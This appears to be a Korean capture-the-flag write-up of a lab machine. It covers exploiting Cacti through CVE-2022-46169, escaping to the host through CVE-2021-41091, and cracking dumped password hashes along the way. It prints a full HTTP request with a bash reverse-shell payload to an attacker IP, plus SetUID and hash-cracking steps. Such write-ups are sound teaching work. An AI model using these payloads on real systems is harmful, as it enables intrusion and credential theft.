머신을 Spawn하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.
naabu -host 10.10.11.211 -p - --nmap-cli "nmap -sV"
대상에서 오픈된것으로 파악되는 포트는 22/TCP
, 80/tcp
이다. 일반적인 머신과 동일하게 Web - System - Rooting
순서인 문제로 예상된다.
오픈된 웹서비스에 접근하니 cacti
의 로그인 패널이 보인다.
이제 이런 머신은 뻔한것같다. 위 그림에서 볼 수 있는것처럼 하단에 cacti 버전 정보도 노출되어있어 빠르게 CVE를 검색해 봤으며, CVE-2022-46169
를 확인할 수 있었다.
해당 취약점은 /remote_angint.php
에서 X-Forwarded-For
헤더로 인해 인증 우회가 가능한 점에서 시작하여 무차별 대입을 통해 활성화된 host_id
를 찾아내고 poller_id
에서 Command Injection이 가능한점을 이용한다.
대상 웹서비스의 cacti에서 활성화된 host_id는 1로 확인됐고 poller_id에 리버스 커넥션을 실행하는 코드를 전달하여 쉘을 획득할 수 있었다.
GET /remote_agent.php?action=polldata&poller_id=;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/9001+0>%261'&host_id=1&local_data_ids[]=1 HTTP/1.1
Host: 10.10.11.211
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Cacti=2c3c4800c7b4cbe176275f6983a10854; CactiTimeZone=540; CactiDateTime=Thu May 04 2023 15:28:19 GMT+0900 (íêµ íì¤ì)
Connection: close
linpeas
를 통해 탈취한 쉘의 시스템을 확인해보니 컨테이너로 확인되었고 /sbin/capsh
를 통해 권상 상승이 가능한것으로 확인되었다.
컨테이너 루트 권한을 획득하였지만 플래그를 찾을 수 없는것으로 보아 해당 머신에서 궁극적으로 원하는 목표는 호스트 시스템의 루트 권한인것으로 예상된다.
계속해서 linpeas의 결과를 쑤셔보던중 /entrypoint.sh
쉘 스크립트를 확인할 수 있었으며 스크립트 내용은 아래와 같다.
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
스크립트 내용에서 확인할 수 있는 cacti.sql
파일을 확인해보았으나 cacti 데이터베이스 초기화 시 사용되는 sql 파일로 확인됐으며 기본 계정의 ID/PW를 확인할 수 있었다.
INSERT INTO user_auth VALUES (1,'admin','21232f297a57a5a743894a0e4a801fc3',0,'Administrator','','on','on','on','on','on','on',2,1,1,1,1,'on',-1,-1,'-1','',0,0,0);
INSERT INTO user_auth VALUES (3,'guest','43e9a4ab75570f5b',0,'Guest Account','','on','on','on','on','on',3,1,1,1,1,1,'',-1,-1,'-1','',0,0,0);
admin 계정의 패스워드는 md5로 보여 CrackStation을 통해 쉽게 크랙할 수 있었다.
cacti 로그인 패널에서 admin:admin으로 인증하니 불가능했다. 여기서부터 뭘 해야될지 몰라 또 정처없이 시스템을 뒤적거리다가 위에서 확인한 쉘 스크립트에 mysql 쿼리를 실행하는 명령이 떠올랐고 sql파일에서 확인한 user_auth
테이블을 조회하는 명령을 실행했다.
mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"
다행이도 user_auth 테이블 조회가 가능했으며 password는 bcrypt
로 해시화된것으로 추정된다.
admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
혹시라도 크랙될 수 있으니 John the Ripper
나 hashcat
을 통해 간단한 워드리스트를 통해 패스워드 크랙을 시도했으며 marcus 계정의 패스워드를 확인할 수 있었다.(admin 계정은 밥먹을 동안 돌려봐도 나오지 않고 데스크탑에서 나는 이륙소리때문에 적당한 선에서 종료했다)
이렇게 확인된 marcus 계정으로 cacti 로그인 패널에서 로그인하니 이번엔 접근제어가 문제인지 로그인이 불가능했다.
sql 쿼리를 전달할 수 있으니 접근제어 정보를 담고있는 테이블을 찾아보려했으나 실패했으며 SSH를 통해 marcus 계정에 접근 가능한지 확인해보니 접근이 가능했다.
SSH에 접근하여 cacti가 컨테이너로 실행중이였으니 docker가 설치되어있는지 확인했고 컨테이너 정보를 확인했으나 권한이 없었고, sudo 권한도 비어있다.
marcus 쉘을 획득한 호스트 시스템에서 linpeas를 다시 한번 실행했고 일반적인 권한 상승 트릭은 불가능했다.
계속 결과를 확인하다 docker와 관련된 머신이기에 docker쪽을 확인했고 버전을 확인하니 docker v20.10.5
로 확인되어 관련된 CVE를 여러개 테스트 했으며 결과적으로 CVE-2021-41091를 진행하게되었다.
해당 취약점은 컨테이너 시스템의 파일을 호스트 시스템에 오버라이트할 수 있는 취약점으로 이번 머신에서 cacti에서 CVE-2022-46169를 통해 획득한 컨테이너의 파일을 호스트 시스템에 덮어써 악용할 수 있다.
이를 위해 marcus 쉘을 얻기전인 컨테이너에서capsh를 통해 권한 상승해 /bin/bash에 SetUID를 설정하고 이를 호스트 시스템으로 복사하는 시나리오를 진행한다.
# capsh 권한 상승 트릭으로 루팅한 Container
chmod u+s /bin/bash
위 처럼 컨테이너 시스템의 /bin/bash에 SetUID를 설정했으니 CVE-2021-41091 PoC를 이용하여 /bin/bash를 호스트 파일 시스템 경로(컨테이너 시스템에 마운트된 경로)로 복사한다.
이후 SetUID가 활성화된 /bin/bash를 marcus 쉘에서 실행하여 권한 상승에 성공할 수 있다.
이번 문제는 베타 시즌 머신으로 시작해서 아무런 정보도 없었기에 해결하는 과정 하나하나가 재밌었다.